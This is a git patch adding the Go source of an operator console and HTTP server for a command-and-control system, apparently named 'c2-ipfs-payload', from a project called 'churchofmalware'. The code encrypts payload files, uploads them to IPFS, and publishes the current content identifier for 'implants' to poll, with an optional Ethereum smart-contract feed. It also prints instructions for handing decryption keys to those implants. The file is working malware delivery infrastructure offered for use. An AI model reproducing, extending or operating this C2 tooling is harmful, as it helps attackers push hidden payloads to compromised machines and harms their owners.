From ca8cd2be41ae779e002a370db328f0dfe015fbec Mon Sep 17 00:00:00 2001 From: ek0ms savi0r Date: Tue, 2 Jun 2026 06:03:47 +0000 Subject: [PATCH] Upload files to "c2s_ipfs_payloads/cmd/server" --- c2s_ipfs_payloads/cmd/server/main.go | 505 +++++++++++++++++++++++++++ 1 file changed, 505 insertions(+) create mode 100644 c2s_ipfs_payloads/cmd/server/main.go diff --git a/c2s_ipfs_payloads/cmd/server/main.go b/c2s_ipfs_payloads/cmd/server/main.go new file mode 100644 index 0000000..730c3da --- /dev/null +++ b/c2s_ipfs_payloads/cmd/server/main.go @@ -0,0 +1,505 @@ +// Command server is the operator console for the C2 IPFS payload delivery system. +// +// MODE A — Simple HTTP CID Hub: +// Runs a lightweight HTTP server that serves new CIDs. +// Implants poll GET /cid for the current CID. +// +// MODE B — Smart Contract CID Feed (optional, requires go-ethereum): +// Build with: go build -tags ethereum ./cmd/server +// Interacts with an Ethereum smart contract that emits NewCID events. +package main + +import ( + "bufio" + "encoding/hex" + "encoding/json" + "flag" + "fmt" + "log" + "net/http" + "os" + "os/signal" + "strings" + "sync" + "syscall" + "time" + + "github.com/churchofmalware/c2-ipfs-payload/pkg/auth" + "github.com/churchofmalware/c2-ipfs-payload/pkg/crypto" + "github.com/churchofmalware/c2-ipfs-payload/pkg/ipfs" + "github.com/churchofmalware/c2-ipfs-payload/pkg/types" +) + +// Server state. +type Server struct { + mu sync.RWMutex + currentCID string + history []types.CIDEntry + startTime time.Time + mode string // "http" or "contract" + ipfsClient *ipfs.Client + encKey []byte + config Config + + // For contract mode + contractAddress string + rpcURL string +} + +// Config holds server configuration flags. +type Config struct { + port int + username string + password string + jwtToken string + mode string + ipfsAPI string + pinataJWT string + encKeyHex string + contractAddr string + rpcURL string + maxHistory int +} + +func (s *Server) addHistory(cid, note string) { + s.mu.Lock() + defer s.mu.Unlock() + entry := types.CIDEntry{ + CID: cid, + Timestamp: time.Now().UTC(), + Note: note, + } + s.history = append(s.history, entry) + if len(s.history) > s.config.maxHistory { + s.history = s.history[len(s.history)-s.config.maxHistory:] + } + s.currentCID = cid +} + +// --- HTTP Handlers (Mode A) --- + +func (s *Server) handleGetCID(w http.ResponseWriter, r *http.Request) { + s.mu.RLock() + cid := s.currentCID + s.mu.RUnlock() + + if cid == "" { + http.Error(w, `{"error":"no CID set"}`, http.StatusNotFound) + return + } + + w.Header().Set("Content-Type", "application/json") + json.NewEncoder(w).Encode(map[string]string{"cid": cid}) +} + +func (s *Server) handlePostCID(w http.ResponseWriter, r *http.Request) { + if r.Method != http.MethodPost { + http.Error(w, "method not allowed", http.StatusMethodNotAllowed) + return + } + + var req struct { + CID string `json:"cid"` + Note string `json:"note,omitempty"` + } + if err := json.NewDecoder(r.Body).Decode(&req); err != nil { + http.Error(w, fmt.Sprintf(`{"error":"invalid JSON: %s"}`, err), http.StatusBadRequest) + return + } + + req.CID = strings.TrimSpace(req.CID) + if !ipfs.IsValidCID(req.CID) { + http.Error(w, `{"error":"invalid CID format"}`, http.StatusBadRequest) + return + } + + s.addHistory(req.CID, req.Note) + + w.Header().Set("Content-Type", "application/json") + json.NewEncoder(w).Encode(map[string]string{ + "status": "ok", + "cid": req.CID, + }) +} + +func (s *Server) handleHistory(w http.ResponseWriter, r *http.Request) { + s.mu.RLock() + history := make([]types.CIDEntry, len(s.history)) + copy(history, s.history) + s.mu.RUnlock() + + w.Header().Set("Content-Type", "application/json") + if history == nil { + w.Write([]byte("[]")) + return + } + json.NewEncoder(w).Encode(history) +} + +func (s *Server) handleStatus(w http.ResponseWriter, r *http.Request) { + s.mu.RLock() + cid := s.currentCID + history := make([]types.CIDEntry, len(s.history)) + copy(history, s.history) + s.mu.RUnlock() + + resp := types.StatusResponse{ + CurrentCID: cid, + History: history, + Mode: s.mode, + Uptime: time.Since(s.startTime).Round(time.Second).String(), + } + + w.Header().Set("Content-Type", "application/json") + json.NewEncoder(w).Encode(resp) +} + +// --- Operator Console --- + +func (s *Server) runConsole() { + scanner := bufio.NewScanner(os.Stdin) + fmt.Println() + fmt.Println("╔══════════════════════════════════════════╗") + fmt.Println("║ C2 IPFS Payload — Operator Console ║") + fmt.Println("╚══════════════════════════════════════════╝") + fmt.Printf("Mode: %s | Port: %d\n", strings.ToUpper(s.mode), s.config.port) + if s.mode == "http" { + fmt.Printf("CID Hub: http://0.0.0.0:%d/cid\n", s.config.port) + } + fmt.Println() + fmt.Println("Commands:") + fmt.Println(" deploy — Encrypt, upload to IPFS, update CID") + fmt.Println(" cid — Manually set CID") + fmt.Println(" encrypt — Encrypt a file, upload to IPFS, show CID") + fmt.Println(" status — Show current state") + fmt.Println(" history — Show recent CID history") + fmt.Println(" genkey — Generate a new encryption key") + fmt.Println(" help — Show this help") + fmt.Println(" exit — Shutdown") + fmt.Println() + + for { + fmt.Print("> ") + if !scanner.Scan() { + break + } + line := strings.TrimSpace(scanner.Text()) + if line == "" { + continue + } + + parts := strings.Fields(line) + cmd := parts[0] + + switch cmd { + case "exit", "quit": + fmt.Println("Shutting down...") + os.Exit(0) + + case "help": + fmt.Println("Commands:") + fmt.Println(" deploy — Encrypt, upload to IPFS, update CID") + fmt.Println(" cid — Manually set CID") + fmt.Println(" encrypt — Encrypt a file, upload to IPFS, show CID") + fmt.Println(" status — Show current state") + fmt.Println(" history — Show recent CID history") + fmt.Println(" genkey — Generate a new encryption key") + fmt.Println(" exit — Shutdown") + + case "genkey": + key, err := crypto.GenerateKey() + if err != nil { + fmt.Printf("Error: %v\n", err) + continue + } + fmt.Printf("New encryption key: %s\n", key) + fmt.Println("SAVE THIS KEY. It cannot be recovered.") + fmt.Println("Share it with implants via --decryption-key") + + case "status": + s.mu.RLock() + fmt.Printf("Current CID: %s\n", s.currentCID) + fmt.Printf("Mode: %s\n", s.mode) + fmt.Printf("Uptime: %s\n", time.Since(s.startTime).Round(time.Second)) + fmt.Printf("History entries: %d\n", len(s.history)) + fmt.Printf("Contract address: %s\n", s.contractAddress) + s.mu.RUnlock() + + case "history": + s.mu.RLock() + if len(s.history) == 0 { + fmt.Println("No history.") + } else { + fmt.Println("Recent CIDs:") + for i, entry := range s.history { + note := entry.Note + if note == "" { + note = "(no note)" + } + fmt.Printf(" %d. %s [%s] %s\n", + i+1, entry.CID, entry.Timestamp.Format(time.RFC3339), note) + } + } + s.mu.RUnlock() + + case "cid": + if len(parts) < 2 { + fmt.Println("Usage: cid ") + continue + } + newCID := parts[1] + if !ipfs.IsValidCID(newCID) { + fmt.Println("Invalid CID format.") + continue + } + note := "" + if len(parts) > 2 { + note = strings.Join(parts[2:], " ") + } + s.addHistory(newCID, note) + fmt.Printf("CID updated to: %s\n", newCID) + + case "encrypt": + if len(parts) < 2 { + fmt.Println("Usage: encrypt ") + continue + } + filePath := parts[1] + s.cmdEncrypt(filePath) + + case "deploy": + if len(parts) < 2 { + fmt.Println("Usage: deploy ") + continue + } + filePath := parts[1] + s.cmdDeploy(filePath) + + default: + fmt.Printf("Unknown command: %s. Type 'help'\n", cmd) + } + } +} + +func (s *Server) cmdEncrypt(filePath string) { + data, err := os.ReadFile(filePath) + if err != nil { + fmt.Printf("Error reading file: %v\n", err) + return + } + + encrypted, err := crypto.Encrypt(data, s.encKey) + if err != nil { + fmt.Printf("Error encrypting: %v\n", err) + return + } + + // Extract filename without path + fileName := filePath + if idx := strings.LastIndex(filePath, "/"); idx >= 0 { + fileName = filePath[idx+1:] + } + encName := fileName + ".enc" + + // Upload to IPFS + fmt.Printf("Uploading encrypted payload (%d bytes) to IPFS...\n", len(encrypted)) + resp, err := s.ipfsClient.Upload(encrypted, encName) + if err != nil { + fmt.Printf("IPFS upload failed: %v\n", err) + fmt.Println("Encrypted file saved locally as:", encName) + os.WriteFile(encName, encrypted, 0644) + fmt.Println("Use 'ipfs add' or Pinata to upload manually, then 'cid ' to set it.") + return + } + + fmt.Printf("Uploaded! CID: %s\n", resp.CID) + fmt.Printf("Local copy: %s\n", encName) + os.WriteFile(encName, encrypted, 0644) + fmt.Println() + fmt.Println("To deploy, run: cid", resp.CID) +} + +func (s *Server) cmdDeploy(filePath string) { + data, err := os.ReadFile(filePath) + if err != nil { + fmt.Printf("Error reading payload: %v\n", err) + return + } + + encrypted, err := crypto.Encrypt(data, s.encKey) + if err != nil { + fmt.Printf("Error encrypting payload: %v\n", err) + return + } + + fileName := filePath + if idx := strings.LastIndex(filePath, "/"); idx >= 0 { + fileName = filePath[idx+1:] + } + encName := fileName + ".enc" + + fmt.Printf("Encrypted %s (%d bytes raw -> %d bytes encrypted)\n", filePath, len(data), len(encrypted)) + fmt.Println("Uploading to IPFS...") + + resp, err := s.ipfsClient.Upload(encrypted, encName) + if err != nil { + fmt.Printf("IPFS upload failed: %v\n", err) + return + } + + s.addHistory(resp.CID, "deploy: "+fileName) + + fmt.Printf("✅ Deployed!\n") + fmt.Printf(" Payload: %s\n", filePath) + fmt.Printf(" Encrypted: %s\n", encName) + fmt.Printf(" IPFS CID: %s\n", resp.CID) + fmt.Printf(" Size: %d bytes\n", len(encrypted)) + + if s.mode == "contract" { + if s.contractAddress != "" { + fmt.Println() + fmt.Println("To send CID to contract:") + fmt.Printf(" > send-cid %s %s\n", s.contractAddress, resp.CID) + fmt.Println("(Requires --rpc-url and go-ethereum build)") + } + } +} + +// --- HTTP Server --- + +func (s *Server) startHTTPServer() { + if s.mode != "http" { + return + } + + mux := http.NewServeMux() + + // Apply auth middleware based on config + var getCIDHandler http.HandlerFunc = s.handleGetCID + var postCIDHandler http.HandlerFunc = s.handlePostCID + var historyHandler http.HandlerFunc = s.handleHistory + var statusHandler http.HandlerFunc = s.handleStatus + + if s.config.jwtToken != "" { + getCIDHandler = auth.JWTAuth(s.config.jwtToken, s.handleGetCID) + postCIDHandler = auth.JWTAuth(s.config.jwtToken, s.handlePostCID) + historyHandler = auth.JWTAuth(s.config.jwtToken, s.handleHistory) + statusHandler = auth.JWTAuth(s.config.jwtToken, s.handleStatus) + } else { + getCIDHandler = auth.BasicAuth(s.config.username, s.config.password, getCIDHandler) + postCIDHandler = auth.BasicAuth(s.config.username, s.config.password, postCIDHandler) + historyHandler = auth.BasicAuth(s.config.username, s.config.password, historyHandler) + statusHandler = auth.BasicAuth(s.config.username, s.config.password, statusHandler) + } + + mux.HandleFunc("/cid", func(w http.ResponseWriter, r *http.Request) { + switch r.Method { + case http.MethodGet: + getCIDHandler(w, r) + case http.MethodPost: + postCIDHandler(w, r) + default: + http.Error(w, "method not allowed", http.StatusMethodNotAllowed) + } + }) + mux.HandleFunc("/history", historyHandler) + mux.HandleFunc("/status", statusHandler) + mux.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) { + w.Header().Set("Content-Type", "application/json") + info := map[string]interface{}{ + "service": "c2-ipfs-payload", + "version": "1.0.0", + "mode": s.mode, + "auth": s.config.jwtToken != "" || s.config.username != "", + "endpoints": map[string]string{ + "GET /cid": "Get current CID", + "POST /cid": "Set a new CID (body: {\"cid\":\"...\"})", + "GET /history": "Get recent CID history", + "GET /status": "Get server status", + }, + } + json.NewEncoder(w).Encode(info) + }) + + addr := fmt.Sprintf("0.0.0.0:%d", s.config.port) + log.Printf("CID Hub listening on %s (mode A — HTTP)", addr) + if err := http.ListenAndServe(addr, mux); err != nil { + log.Fatalf("Server failed: %v", err) + } +} + +func main() { + // Flags + cfg := Config{} + flag.IntVar(&cfg.port, "port", 8443, "HTTP server port (mode A)") + flag.StringVar(&cfg.username, "user", "", "Basic auth username (mode A)") + flag.StringVar(&cfg.password, "pass", "", "Basic auth password (mode A)") + flag.StringVar(&cfg.jwtToken, "jwt", "", "JWT token for auth (mode A, overrides basic auth)") + flag.StringVar(&cfg.mode, "mode", "http", "Operation mode: 'http' or 'contract'") + flag.StringVar(&cfg.ipfsAPI, "ipfs-api", "http://127.0.0.1:5001/api/v0", "IPFS API URL (for local daemon uploads)") + flag.StringVar(&cfg.pinataJWT, "pinata-jwt", "", "Pinata.cloud JWT (alternative IPFS upload)") + flag.StringVar(&cfg.encKeyHex, "enc-key", "", "Encryption key (32-byte hex, auto-generates if empty)") + flag.StringVar(&cfg.contractAddr, "contract", "", "Smart contract address (mode B)") + flag.StringVar(&cfg.rpcURL, "rpc-url", "", "Ethereum RPC URL (mode B)") + flag.IntVar(&cfg.maxHistory, "max-history", 100, "Maximum history entries to keep") + flag.Parse() + + // Encryption key + var encKey []byte + if cfg.encKeyHex != "" { + var err error + encKey, err = hex.DecodeString(cfg.encKeyHex) + if err != nil { + log.Fatalf("Invalid encryption key hex: %v", err) + } + if len(encKey) != crypto.KeySize { + log.Fatalf("Encryption key must be %d bytes hex (got %d)", crypto.KeySize, len(encKey)) + } + fmt.Printf("Using provided encryption key: %s...%s\n", + cfg.encKeyHex[:8], cfg.encKeyHex[len(cfg.encKeyHex)-8:]) + } else { + keyHex, err := crypto.GenerateKey() + if err != nil { + log.Fatalf("Failed to generate key: %v", err) + } + encKey, _ = hex.DecodeString(keyHex) + fmt.Printf("Generated new encryption key: %s\n", keyHex) + fmt.Println("⚠️ SAVE THIS KEY. Share with implants via --decryption-key") + fmt.Println() + } + + // IPFS client + ipfsClient := ipfs.NewClient(cfg.ipfsAPI, cfg.pinataJWT) + + server := &Server{ + startTime: time.Now(), + mode: cfg.mode, + ipfsClient: ipfsClient, + encKey: encKey, + config: cfg, + contractAddress: cfg.contractAddr, + rpcURL: cfg.rpcURL, + history: make([]types.CIDEntry, 0, cfg.maxHistory), + } + + // Start console + go server.runConsole() + + // Start HTTP server (mode A only; mode B uses console-only for contract ops) + if cfg.mode == "http" { + go server.startHTTPServer() + } else if cfg.mode == "contract" { + log.Printf("Running in contract mode — no HTTP CID hub.") + log.Printf("Use 'send-cid' command (build with -tags ethereum) to emit CIDs to contract.") + fmt.Printf("Contract address: %s\n", cfg.contractAddr) + fmt.Printf("RPC URL: %s\n", cfg.rpcURL) + } else { + log.Fatalf("Unknown mode: %s (use 'http' or 'contract')", cfg.mode) + } + + // Wait for signal + sigCh := make(chan os.Signal, 1) + signal.Notify(sigCh, syscall.SIGINT, syscall.SIGTERM) + <-sigCh + fmt.Println("\nShutting down...") +}